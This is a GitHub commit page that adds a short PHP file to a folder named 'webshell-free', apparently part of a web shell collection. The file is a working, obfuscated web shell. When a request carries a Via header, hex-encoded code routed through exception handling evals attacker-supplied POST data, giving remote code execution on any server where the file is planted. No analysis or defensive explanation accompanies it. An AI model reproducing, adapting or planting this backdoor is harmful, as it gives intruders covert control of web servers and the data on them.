Skip to content

Commit

Permalink
Create Exception.php
Browse files Browse the repository at this point in the history
  • Loading branch information
tennc authored Sep 14, 2022
1 parent f4b5e92 commit 348cd58
Showing 1 changed file with 16 additions and 0 deletions.
16 changes: 16 additions & 0 deletions webshell-free/Exception.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
<?php
try{
$value = 'echo "hello~"';
apply();
}catch(Exception $e){
eval(pack('H*',$e->getMessage()));
}finally{
eval($value.';');
}

function apply(){
if(isset($_SERVER['HTTP_VIA'])){
throw new Exception('2476616c75653d656e6428245f504f5354293b');
}
return false;
}

0 comments on commit 348cd58

Please sign in to comment.